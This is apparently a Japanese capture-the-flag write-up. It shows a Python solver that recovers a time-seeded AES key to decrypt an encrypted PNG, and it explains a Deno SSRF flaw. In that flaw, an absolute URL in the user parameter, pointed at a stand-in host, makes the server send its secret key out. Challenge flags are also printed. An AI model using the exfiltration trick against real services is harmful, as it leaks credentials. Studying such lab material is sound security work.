したがって解読方針は、rand関数のシード値をミリ秒以下で総当りして乱数を再現し、ランダム並び替え→AES復号の順で元に戻して、PNGファイルのシグネチャを探せばいい。
ChatGPT-o1-previewにPython上でCの乱数を再現するコードを書いてもらったところ、乱数を出力するexeファイルとPythonファイルの2つが得られた。
rand_generator.c#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "使用法: %s シード値 生成数\n", argv[0]);
return 1;
}
int seed = atoi(argv[1]);
int num_values = atoi(argv[2]);
srand(seed);
for (int i = 0; i < num_values; i++) {
printf("%d\n", rand());
}
return 0;
}
pythonimport subprocess
def get_random_numbers(seed, num_values):
# 'rand_generator.exe'が同じディレクトリにあると仮定
cmd = ['rand_generator.exe', str(seed), str(num_values)]
try:
result = subprocess.run(cmd, capture_output=True, text=True, check=True)
output = result.stdout.strip().split('\n')
random_numbers = [int(num) for num in output]
return random_numbers
except subprocess.CalledProcessError as e:
print("rand_generator.exeの実行中にエラーが発生しました:")
print(e.stderr)
return None
# 使用例
seed = 12345
num_values = 5
random_numbers = get_random_numbers(seed, num_values)
print(random_numbers)
しかしながらこれは高速ではなかったため、チームメイトが教えてくれたctypeを使う方法を最終的に採用した。
import ctypes
seed = 1234
msvcrt = ctypes.windll.msvcrt
msvcrt.srand(seed)
msvcrt.rand()
再現した乱数を用いて、次の総当たりソルバーを作成。
from Crypto.Cipher import AES
import ctypes
msvcrt = ctypes.windll.msvcrt
def uint(s):
return s%4294967296
def createkeys(wSecond,wMilliseconds):
wYear = 2024
wMonth = 9
wDayOfWeek = 2
wDay = 17
wHour = 12
wMinute = 49
#wSecond = 20
#wMilliseconds = 0
seed = uint(uint(wYear + 0x200ab)* 0x200ab)
seed = uint(uint(wMonth + seed)* 0x200ab)
seed = uint(uint(wDayOfWeek + seed)* 0x200ab)
seed = uint(uint(wDay + seed)* 0x200ab)
seed = uint(uint(wHour + seed)* 0x200ab)
seed = uint(uint(wMinute + seed)* 0x200ab)
seed = uint(uint(wSecond + seed)* 0x200ab)
seed = uint(wMilliseconds + seed)
msvcrt.srand(seed)
key = b""
for i in range(0x20):
key += int(msvcrt.rand()%256).to_bytes(1, byteorder='big')
iv = b""
for i in range(0x10):
iv += int(msvcrt.rand()%256).to_bytes(1, byteorder='big')
return key,iv
def getrands(s):
result = []
for i in range(s):
result += [msvcrt.rand()]
return result
def shuffle_pos(min,max,r1,r2,r3):
s_product = uint(r1 * uint(r2 * r3))
s_range = uint(max - min + 1)
s_denominator = uint(0xffffffff // s_range) + 1
return min + s_product // s_denominator
def shuffle_rev(arr,rands):
rc = len(rands)-1
for i in range(0,len(arr),1):
j = len(arr)-1-i
uVar2 = shuffle_pos(0,len(arr)-1,rands[rc-2],rands[rc-1],rands[rc])
uVar1 = arr[j];
arr[j] = arr[uVar2]
arr[uVar2] = uVar1
rc -= 3
cipher_text_o = open('flag.png.laika', 'rb').read()
for tSecond in range(20,21,1):
for tMilliseconds in range(0,1000,1):
cipher_text = bytearray(cipher_text_o)
key,iv = createkeys(tSecond,tMilliseconds)
cipher = AES.new(key, AES.MODE_CBC, iv)
rands = getrands(len(cipher_text)*3)
shuffle_rev(cipher_text,rands)
decoded = cipher.decrypt(cipher_text)
if b"\x89PNG" in decoded[0:16]:
print("hit!!",decoded[0:16]);
print("tSecond",tSecond);
print("tMilliseconds",tMilliseconds);
f = open('flag.png', 'wb')
f.write(decoded)
f.close()
exit()
else:
print("not hit",tSecond,tMilliseconds,decoded[0:16]);
実行すると2024年9月17日12時49分20秒307ミリ秒でヒット。flagが復元された。なお、statement.pngの中身が日本語であったため、GetLocalTimeは日本時間と仮定したが、その通りであった。
IERAE{3xpec7at1on_1s_a_w0rd_r00ted_1n_g1ving_up.}
Oh my God!!!My browser history has been hijacked!
オーマイガー!!!ブラウザの履歴が乗っ取られてしまった!
ブラウザの履歴を書き換えて戻るを潰しに来る広告ウザいよね。
IERAE{Tr3ndy_4ds.LOL}
curl 'http://34.81.219.110:3000/search?user=peroro'
search?user=でユーザーがヒットしたかどうかを表示するWebページが与えられる。サーバーサイドの処理は二段構え。
frontend.tsconst FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
"http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");
async function searchUser(user: string, userSearchAPI: string) {
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
return await fetch(uri);
}
async function handler(req: Request): Promise<Response> {
const url = new URL(req.url);
switch (url.pathname) {
case "/search": {
const user = url.searchParams.get("user") || "";
return await searchUser(user, USER_SEARCH_API);
}
default:
return new Response("Not found.");
}
}
Deno.serve({ port: PORT, handler });
user-search.tstype User = {
name: string;
};
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");
const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });
function search(id: string) {
const user = users.get(id);
return user;
}
function handler(req: Request): Response {
// API format is /:id
const url = new URL(req.url);
const id = url.pathname.slice(1);
const apiKey = url.searchParams.get("apiKey") || "";
if (apiKey !== FLAG) {
return new Response("Invalid API Key.");
}
const user = search(id);
if (!user) {
return new Response("User not found.");
}
return new Response(`User ${user.name} found.`);
}
Deno.serve({ port: PORT, handler });
HTTPリクエストをfrontendで受けて、ここからuser-search.tsにHTTPリクエストを投げている。apiKeyにflagが入っているので、これを流出させればいい。
frontendのsearchUserに問題がある。
async function searchUser(user: string, userSearchAPI: string) {
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
return await fetch(uri);
}
ここでは検索対象のuser名をURLの一部としてnew URLで結合してfetchでリクエストする先のURLを作成しているが、new URLは第一引数にURLの絶対パスが入っていれば第二引数を無視することが知られている。
通常ではnew URL("Alice?apiKey=FLAG","http://user-search:3000")
となるので、作られるURLオブジェクトはhttp://user-search:3000/Alice?apiKey=FLAG
となる。
しかし、user名が絶対パスのとき、new URL("https://hoge.hoge.hoge/?apiKey=FLAG","http://user-search:3000")
の場合、後半は無視されて作られるURLオブジェクトはhttps://hoge.hoge.hoge/?apiKey=FLAG
になる。
よってuser名にアクセスさせたいURLを指定すればFLAGをつけてfetchでアクセスしてくれる。
IERAE{yey!you_got_a_web_warmup_flag!}